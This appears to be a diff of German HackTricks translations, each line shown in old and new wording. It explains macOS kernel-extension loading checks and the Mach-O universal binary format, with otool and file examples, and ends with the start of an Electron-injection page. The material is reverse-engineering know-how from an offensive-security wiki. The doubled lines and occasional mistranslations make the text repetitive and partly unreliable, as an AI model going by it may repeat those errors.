* Beim **Betreten des Wiederherstellungsmodus** müssen Kernelerweiterungen **zugelassen sein**, um geladen zu werden:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Die Kernelerweiterung muss mit einem **Kernel-Code-Signaturzertifikat signiert** sein, das nur von Apple **erteilt** werden kann. Apple wird das Unternehmen und die Gründe, warum es benötigt wird, im Detail prüfen.
* Die Kernelerweiterung muss auch **notariell beglaubigt** sein, Apple kann sie auf Malware überprüfen.
* Dann ist der **Root-Benutzer** derjenige, der die Kernelerweiterung **laden** kann, und die Dateien im Paket müssen **root gehören**.
* Während des Upload-Vorgangs muss das Paket an einem **geschützten Nicht-Root-Speicherort** vorbereitet werden: `/Library/StagedExtensions` (erfordert die Berechtigung `com.apple.rootless.storage.KernelExtensionManagement`).
* Schließlich erhält der Benutzer beim Versuch, sie zu laden, eine [**Bestätigungsanfrage**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) und wenn sie akzeptiert wird, muss der Computer **neu gestartet** werden, um sie zu laden.
* Die Kernelerweiterung muss mit einem Kernelcodesignaturzertifikat **signiert** sein, das nur von **Apple** erteilt werden kann. Wer wird das Unternehmen und die Gründe, warum es benötigt wird, im Detail überprüfen.
* Die Kernelerweiterung muss auch **notariell beglaubigt** sein, damit Apple sie auf Malware überprüfen kann.
* Dann ist der **Root**-Benutzer derjenige, der die Kernelerweiterung **laden kann**, und die Dateien im Paket müssen **Root gehören**.
* Während des Upload-Vorgangs muss das Paket an einem **geschützten Nicht-Root-Standort** vorbereitet werden: `/Library/StagedExtensions` (erfordert die Berechtigung `com.apple.rootless.storage.KernelExtensionManagement`).
* Schließlich wird der Benutzer beim Versuch, sie zu laden, eine [**Bestätigungsanfrage erhalten**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) und, wenn akzeptiert, muss der Computer neu gestartet werden, um sie zu laden.
### Ladevorgang
In Catalina war es so: Es ist interessant zu beachten, dass der **Überprüfungsprozess** in **Userland** stattfindet. Nur Anwendungen mit der Berechtigung **`com.apple.private.security.kext-management`** können den Kernel auffordern, eine Erweiterung zu laden: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
In Catalina war es so: Es ist interessant festzustellen, dass der **Überprüfungsprozess** in **Benutzerland** stattfindet. Nur Anwendungen mit der Berechtigung **`com.apple.private.security.kext-management`** können den Kernel auffordern, eine Erweiterung zu laden: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** CLI **startet** den **Überprüfungsprozess** zum Laden einer Erweiterung
* Es wird über einen **Mach-Dienst** mit **`kextd`** kommunizieren.
2. **`kextd`** überprüft verschiedene Dinge wie die **Signatur**
* Es wird mit **`syspolicyd`** sprechen, um zu überprüfen, ob die Erweiterung geladen werden kann.
3. **`syspolicyd`** fordert den **Benutzer auf**, wenn die Erweiterung zuvor nicht geladen wurde.
* **`syspolicyd`** meldet das Ergebnis an **`kextd`**
4. **`kextd`** kann schließlich den Kernel **auffordern, die Erweiterung zu laden**
1. **`kextutil`** cli **startet** den **Überprüfungsprozess** zum Laden einer Erweiterung
* Es wird mit **`kextd`** sprechen, indem es einen **Mach-Dienst** verwendet.
2. **`kextd`** wird verschiedene Dinge überprüfen, wie die **Signatur**
* Es wird mit **`syspolicyd`** sprechen, um zu **überprüfen**, ob die Erweiterung geladen werden kann.
3. **`syspolicyd`** wird den **Benutzer auffordern**, wenn die Erweiterung nicht zuvor geladen wurde.
* **`syspolicyd`** wird das Ergebnis an **`kextd`** melden
4. **`kextd`** kann schließlich den Kernel auffordern, die Erweiterung zu laden
Wenn **`kextd`** nicht verfügbar ist, kann **`kextutil`** die gleichen Überprüfungen durchführen.
@ -51,12 +51,12 @@ Wenn **`kextd`** nicht verfügbar ist, kann **`kextutil`** die gleichen Überpr
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr Unternehmen auf HackTricks bewerben? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Schauen Sie sich die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen auf HackTricks beworben sehen**? Oder möchten Sie Zugang zur **neuesten Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere exklusive Sammlung von [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS und HackTricks Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe** oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen Sie mir** auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Teilen Sie Ihre Hacking-Tricks, indem Sie einen PR an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
* Holen Sie sich das offizielle [**PEASS und HackTricks Merch**](https://peass.creator-spring.com)
* **Treten Sie dem** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe bei** oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen Sie mir** auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PR an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>

View file

@ -1,32 +1,32 @@
# macOS Universal Binaries & Mach-O Format
# macOS Universelle Binärdateien & Mach-O Format
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Grundlegende Informationen
Mac OS-Binärdateien werden normalerweise als **Universal Binaries** kompiliert. Ein **Universal Binary** kann **mehrere Architekturen in derselben Datei unterstützen**.
Mac OS-Binärdateien sind normalerweise als **universelle Binärdateien** kompiliert. Eine **universelle Binärdatei** kann **mehrere Architekturen in derselben Datei unterstützen**.
Diese Binärdateien folgen der **Mach-O-Struktur**, die im Wesentlichen aus folgenden Teilen besteht:
Diese Binärdateien folgen der **Mach-O-Struktur**, die im Wesentlichen aus folgendem besteht:
* Header
* Load-Befehle
* Ladebefehle
* Daten
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
## Fat Header
## Fat-Header
Suchen Sie nach der Datei mit: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
@ -40,21 +40,21 @@ struct fat_header {
struct fat_arch {
cpu_type_t cputype; /* CPU-Spezifikator (int) */
cpu_subtype_t cpusubtype; /* Maschinen-Spezifikator (int) */
cpu_subtype_t cpusubtype; /* Maschinenspezifikator (int) */
uint32_t offset; /* Dateioffset zu dieser Objektdatei */
uint32_t size; /* Größe dieser Objektdatei */
uint32_t align; /* Ausrichtung als Potenz von 2 */
};
</code></pre>
Der Header enthält die **magischen** Bytes, gefolgt von der **Anzahl** der **Architekturen**, die die Datei enthält (`nfat_arch`), und jede Architektur hat eine `fat_arch`-Struktur.
Der Header enthält die **magischen** Bytes, gefolgt von der **Anzahl** der **Architekturen**, die die Datei **enthält** (`nfat_arch`), und jede Architektur wird eine `fat_arch`-Struktur haben.
Überprüfen Sie dies mit:
Überprüfen Sie es mit:
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
/bin/ls: Mach-O Universal Binary mit 2 Architekturen: [x86_64:Mach-O 64-Bit ausführbar x86_64] [arm64e:Mach-O 64-Bit ausführbar arm64e]
/bin/ls (für Architektur x86_64): Mach-O 64-Bit ausführbar x86_64
/bin/ls (für Architektur arm64e): Mach-O 64-Bit ausführbar arm64e
/bin/ls: Mach-O universelle Binärdatei mit 2 Architekturen: [x86_64:Mach-O 64-Bit-Ausführbare x86_64] [arm64e:Mach-O 64-Bit-Ausführbare arm64e]
/bin/ls (für Architektur x86_64): Mach-O 64-Bit-Ausführbare x86_64
/bin/ls (für Architektur arm64e): Mach-O 64-Bit-Ausführbare arm64e
% otool -f -v /bin/ls
Fat-Header
@ -63,26 +63,26 @@ fat_magic FAT_MAGIC
</strong><strong>Architektur x86_64
</strong> cputype CPU_TYPE_X86_64
cpusubtype CPU_SUBTYPE_X86_64_ALL
capabilities 0x0
Fähigkeiten 0x0
<strong> offset 16384
</strong><strong> size 72896
</strong> align 2^14 (16384)
</strong><strong> Größe 72896
</strong> Ausrichtung 2^14 (16384)
<strong>Architektur arm64e
</strong> cputype CPU_TYPE_ARM64
cpusubtype CPU_SUBTYPE_ARM64E
capabilities PTR_AUTH_VERSION USERSPACE 0
Fähigkeiten PTR_AUTH_VERSION USERSPACE 0
<strong> offset 98304
</strong><strong> size 88816
</strong> align 2^14 (16384)
</strong><strong> Größe 88816
</strong> Ausrichtung 2^14 (16384)
</code></pre>
oder mit dem [Mach-O View](https://sourceforge.net/projects/machoview/) Tool:
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Wie Sie vielleicht denken, verdoppelt ein Universal Binary, das für 2 Architekturen kompiliert wurde, normalerweise die Größe im Vergleich zu einem, das nur für 1 Architektur kompiliert wurde.
Wie Sie vielleicht denken, verdoppelt eine universelle Binärdatei, die für 2 Architekturen kompiliert wurde, normalerweise die Größe einer, die nur für 1 Architektur kompiliert wurde.
## **Mach-O Header**
## **Mach-O-Header**
Der Header enthält grundlegende Informationen über die Datei, wie magische Bytes zur Identifizierung als Mach-O-Datei und Informationen über die Zielarchitektur. Sie finden ihn unter: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
@ -123,34 +123,34 @@ Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE
```
Oder verwenden Sie [Mach-O View](https://sourceforge.net/projects/machoview/):
Oder mit [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
## **Mach-O-Ladebefehle**
## **Mach-O Ladungsbefehle**
Die **Speicheranordnung der Datei** wird hier angegeben, wobei der **Speicherort der Symboltabelle**, der Kontext des Hauptthreads beim Start der Ausführung und die erforderlichen **gemeinsam genutzten Bibliotheken** detailliert beschrieben werden. Anweisungen werden an den dynamischen Loader **(dyld)** für den Ladevorgang der Binärdatei in den Speicher übermittelt.
Die **Speicherlayoutdatei** wird hier angegeben, wobei der **Speicherort der Symboltabelle**, der Kontext des Hauptthreads beim Start der Ausführung und die erforderlichen **gemeinsam genutzten Bibliotheken** detailliert beschrieben werden. Anweisungen werden an den dynamischen Loader **(dyld)** zum Laden des Binärs in den Speicher übermittelt.
Hierbei wird die **load\_command**-Struktur verwendet, die in der genannten **`loader.h`** definiert ist:
Die Verwendung der **load\_command**-Struktur, wie in der genannten **`loader.h`** definiert:
```objectivec
struct load_command {
uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
};
```
Es gibt etwa **50 verschiedene Arten von Load-Befehlen**, die vom System unterschiedlich behandelt werden. Die häufigsten sind: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` und `LC_CODE_SIGNATURE`.
Es gibt etwa **50 verschiedene Arten von Ladungsbefehlen**, die das System unterschiedlich behandelt. Die häufigsten sind: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` und `LC_CODE_SIGNATURE`.
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
Im Wesentlichen definiert dieser Typ von Load-Befehl, **wie die \_\_TEXT** (ausführbarer Code) **und \_\_DATA** (Daten für den Prozess) **Segmente** geladen werden, basierend auf den in der Datenabteilung angegebenen Offsets, wenn die Binärdatei ausgeführt wird.
Grundsätzlich definieren diese Arten von Ladungsbefehlen, **wie die \_\_TEXT** (ausführbarer Code) **und \_\_DATA** (Daten für den Prozess) **Segmente** geladen werden, gemäß den **Offsets, die im Datenabschnitt** angegeben sind, wenn die Binärdatei ausgeführt wird.
{% endhint %}
Diese Befehle **definieren Segmente**, die in den **virtuellen Speicherbereich** eines Prozesses geladen werden, wenn er ausgeführt wird.
Diese Befehle **definieren Segmente**, die in den **virtuellen Speicherbereich** eines Prozesses abgebildet werden, wenn er ausgeführt wird.
Es gibt **verschiedene Arten** von Segmenten, wie das **\_\_TEXT**-Segment, das den ausführbaren Code eines Programms enthält, und das **\_\_DATA**-Segment, das Daten enthält, die vom Prozess verwendet werden. Diese **Segmente befinden sich im Datenabschnitt** der Mach-O-Datei.
**Jedes Segment** kann weiter in mehrere **Abschnitte** unterteilt werden. Die **Load-Befehlsstruktur** enthält **Informationen** über **diese Abschnitte** innerhalb des jeweiligen Segments.
**Jedes Segment** kann weiter in mehrere **Abschnitte** unterteilt werden. Die **Ladungsbefehlsstruktur** enthält **Informationen** über **diese Abschnitte** innerhalb des jeweiligen Segments.
Im Header finden Sie zuerst den **Segment-Header**:
@ -162,8 +162,8 @@ uint64_t vmaddr; /* Speicheradresse dieses Segments */
uint64_t vmsize; /* Speichergröße dieses Segments */
uint64_t fileoff; /* Dateioffset dieses Segments */
uint64_t filesize; /* Menge, die aus der Datei abgebildet werden soll */
int32_t maxprot; /* maximaler VM-Schutz */
int32_t initprot; /* anfänglicher VM-Schutz */
int32_t maxprot; /* maximale VM-Schutzmaßnahmen */
int32_t initprot; /* anfängliche VM-Schutzmaßnahmen */
<strong> uint32_t nsects; /* Anzahl der Abschnitte im Segment */
</strong> uint32_t flags; /* Flags */
};
@ -194,48 +194,48 @@ Beispiel für **Abschnittsüberschrift**:
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
Wenn Sie den **Abschnittsversatz** (0x37DC) + den **Versatz** hinzufügen, an dem die **Architektur beginnt**, in diesem Fall `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
Wenn Sie die **Abschnittsverschiebung** (0x37DC) hinzufügen + die **Verschiebung**, bei der der **Arch beginnt**, in diesem Fall `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Es ist auch möglich, **Header-Informationen** über die **Befehlszeile** abzurufen mit:
Es ist auch möglich, **Headerinformationen** von der **Befehlszeile** aus abzurufen:
```bash
otool -lv /bin/ls
```
Gemeinsame Segmente, die von diesem Befehl geladen werden:
* **`__PAGEZERO`:** Es weist den Kernel an, die **Adresse Null** so zu **mappen**, dass sie **nicht gelesen, geschrieben oder ausgeführt** werden kann. Die Variablen maxprot und minprot in der Struktur werden auf Null gesetzt, um anzuzeigen, dass auf dieser Seite **keine Lese-Schreib-Ausführungsrechte** vorhanden sind.
* Diese Zuweisung ist wichtig, um **NULL-Zeigerdereferenz-Schwachstellen** zu verhindern.
* **`__TEXT`**: Enthält **ausführbaren** **Code** mit **Lese-** und **Ausführungsrechten** (nicht schreibbar)**.** Gemeinsame Abschnitte dieses Segments:
* `__text`: Kompilierter Binärcode
* `__const`: Konstante Daten
* `__cstring`: Zeichenkettenkonstanten
* `__stubs` und `__stubs_helper`: Werden während des dynamischen Bibliotheksladevorgangs verwendet
* **`__DATA`**: Enthält Daten, die **lesbar** und **beschreibbar** sind (nicht ausführbar)**.**
* `__data`: Globale Variablen (die initialisiert wurden)
* `__bss`: Statische Variablen (die nicht initialisiert wurden)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, usw.): Informationen, die von der Objective-C-Laufzeitumgebung verwendet werden
* **`__LINKEDIT`**: Enthält Informationen für den Linker (dyld) wie "Symbol-, Zeichenketten- und Relokationstabelleneinträge".
* **`__OBJC`**: Enthält Informationen, die von der Objective-C-Laufzeitumgebung verwendet werden. Diese Informationen können jedoch auch im \_\_DATA-Segment in verschiedenen \_\_objc\_\*-Abschnitten gefunden werden.
- **`__PAGEZERO`:** Es weist den Kernel an, die **Adresse Null** so zu **zuordnen**, dass sie **nicht gelesen, geschrieben oder ausgeführt** werden kann. Die Variablen maxprot und minprot in der Struktur sind auf Null gesetzt, um anzuzeigen, dass es **keine Lese-Schreib-Ausführungsrechte auf dieser Seite** gibt.
- Diese Zuweisung ist wichtig, um **NULL-Pointer-Dereferenz-Schwachstellen zu mildern**.
- **`__TEXT`**: Enthält **ausführbaren** **Code** mit **Lese-** und **Ausführungsberechtigungen** (nicht schreibbar)**.** Gemeinsame Abschnitte dieses Segments:
- `__text`: Kompilierter Binärcode
- `__const`: Konstante Daten
- `__cstring`: Zeichenkettenkonstanten
- `__stubs` und `__stubs_helper`: Während des dynamischen Bibliotheksladevorgangs involviert
- **`__DATA`**: Enthält Daten, die **lesbar** und **schreibbar** sind (nicht ausführbar)**.**
- `__data`: Globale Variablen (die initialisiert wurden)
- `__bss`: Statische Variablen (die nicht initialisiert wurden)
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, usw.): Informationen, die vom Objective-C-Laufzeitumgebung verwendet werden
- **`__LINKEDIT`**: Enthält Informationen für den Linker (dyld) wie "Symbol-, Zeichenketten- und Relokationstabelleneinträge".
- **`__OBJC`**: Enthält Informationen, die von der Objective-C-Laufzeitumgebung verwendet werden. Diese Informationen können auch im \_\_DATA-Segment in verschiedenen \_\_objc\_\* Abschnitten gefunden werden.
### **`LC_MAIN`**
Enthält den Einstiegspunkt im Attribut **entryoff**. Zur Laufzeit fügt **dyld** einfach diesen Wert zur (im Speicher befindlichen) **Basis der Binärdatei** hinzu und springt dann zu dieser Anweisung, um die Ausführung des Codes der Binärdatei zu starten.
Enthält den Einstiegspunkt im **entryoff-Attribut**. Zur Ladezeit **addiert** **dyld** einfach diesen Wert zur (im Speicher befindlichen) **Basis des Binärdateis** und **springt** dann zu dieser Anweisung, um die Ausführung des Binärcode zu starten.
### **LC\_CODE\_SIGNATURE**
Enthält Informationen über die **Codesignatur der Macho-O-Datei**. Es enthält nur einen **Offset**, der auf den **Signatur-Blob** zeigt. Dies befindet sich normalerweise am Ende der Datei.\
Sie können jedoch einige Informationen zu diesem Abschnitt in [**diesem Blog-Beitrag**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) und diesem [**Gist**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) finden.
Einige Informationen zu diesem Abschnitt finden Sie jedoch in [**diesem Blog-Beitrag**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) und in diesem [**Gist**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **LC\_LOAD\_DYLINKER**
Enthält den **Pfad zum dynamischen Linker-Programm**, das freigegebene Bibliotheken in den Adressraum des Prozesses abbildet. Der **Wert ist immer auf `/usr/lib/dyld`** festgelegt. Es ist wichtig zu beachten, dass das Dylib-Mapping in macOS im **Benutzermodus** und nicht im Kernelmodus erfolgt.
Enthält den **Pfad zum dynamischen Linker-Programm**, das gemeinsam genutzte Bibliotheken in den Adressraum des Prozesses abbildet. Der **Wert ist immer auf `/usr/lib/dyld`** gesetzt. Es ist wichtig zu beachten, dass in macOS das Dylib-Mapping im **Benutzermodus** und nicht im Kernelmodus erfolgt.
### **`LC_LOAD_DYLIB`**
Dieser Ladebefehl beschreibt eine **dynamische** **Bibliotheksabhängigkeit**, die den **Loader** (dyld) anweist, diese Bibliothek zu **laden und zu verknüpfen**. Für jede Bibliothek, die von der Mach-O-Binärdatei benötigt wird, gibt es einen LC\_LOAD\_DYLIB-Ladebefehl.
Dieser Ladebefehl beschreibt eine **dynamische** **Bibliotheksabhängigkeit**, die den **Loader** (dyld) anweist, diese Bibliothek zu **laden und zu verknüpfen**. Es gibt einen LC\_LOAD\_DYLIB-Ladebefehl **für jede Bibliothek**, die das Mach-O-Binär erfordert.
* Dieser Ladebefehl ist eine Struktur vom Typ **`dylib_command`** (die eine Struktur dylib enthält, die die tatsächliche abhängige dynamische Bibliothek beschreibt):
- Dieser Ladebefehl ist eine Struktur vom Typ **`dylib_command`** (die eine Struktur dylib enthält, die die tatsächliche abhängige dynamische Bibliothek beschreibt):
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
```
![](<../../../.gitbook/assets/image (558).png>)
Sie können diese Informationen auch über die Befehlszeile abrufen mit:
Sie könnten diese Informationen auch über die Befehlszeile erhalten:
```bash
otool -L /bin/ls
/bin/ls:
@ -264,47 +264,47 @@ Einige potenziell mit Malware verbundene Bibliotheken sind:
* **DiskArbitration**: Überwachung von USB-Laufwerken
* **AVFoundation:** Aufnahme von Audio und Video
* **CoreWLAN**: WLAN-Scans.
* **CoreWLAN**: Wifi-Scans.
{% hint style="info" %}
Eine Mach-O-Binärdatei kann einen oder **mehrere Konstruktoren** enthalten, die **vor** der in **LC\_MAIN** angegebenen Adresse **ausgeführt** werden.\
Die Offsets aller Konstruktoren werden im Abschnitt **\_\_mod\_init\_func** des Segments **\_\_DATA\_CONST** gespeichert.
Ein Mach-O-Binärdatei kann einen oder **mehrere Konstruktoren** enthalten, die **vor** der Adresse, die in **LC\_MAIN** angegeben ist, **ausgeführt** werden.\
Die Offsets aller Konstruktoren werden im Abschnitt **\_\_mod\_init\_func** des Segments **\_\_DATA\_CONST** gehalten.
{% endhint %}
## **Mach-O-Daten**
Im Kern der Datei befindet sich der Datenbereich, der aus mehreren Segmenten besteht, wie im Load-Commands-Bereich definiert. **In jedem Segment können verschiedene Datensektionen enthalten sein**, wobei jede Sektion **Code oder Daten** spezifisch für einen Typ enthält.
Im Kern der Datei liegt der Datenbereich, der aus mehreren Segmenten besteht, wie im Bereich der Ladungsbefehle definiert. **In jedem Segment können verschiedene Datensektionen untergebracht sein**, wobei jede Sektion **Code oder Daten** spezifisch für einen Typ enthält.
{% hint style="success" %}
Die Daten sind im Wesentlichen der Teil, der alle **Informationen** enthält, die von den Load-Befehlen **LC\_SEGMENTS\_64** geladen werden.
Die Daten sind im Wesentlichen der Teil, der alle **Informationen** enthält, die von den Ladungsbefehlen **LC\_SEGMENTS\_64** geladen werden.
{% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
Dies beinhaltet:
* **Funktionstabelle:** Enthält Informationen über die Programmfunktionen.
* **Funktionstabelle:** Die Informationen über die Programm-Funktionen enthält.
* **Symboltabelle**: Enthält Informationen über die externen Funktionen, die von der Binärdatei verwendet werden.
* Es könnte auch interne Funktionen, Variablennamen und mehr enthalten.
Um dies zu überprüfen, können Sie das [**Mach-O View**](https://sourceforge.net/projects/machoview/) -Tool verwenden:
Um dies zu überprüfen, könnten Sie das [**Mach-O View**](https://sourceforge.net/projects/machoview/) Tool verwenden:
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
Oder über die Befehlszeile:
Oder von der Befehlszeile aus:
```bash
size -m /bin/ls
```
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>

View file

@ -1,41 +1,41 @@
# macOS Electron-Anwendungen Injektion
# macOS Electron-Anwendungen Injection
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
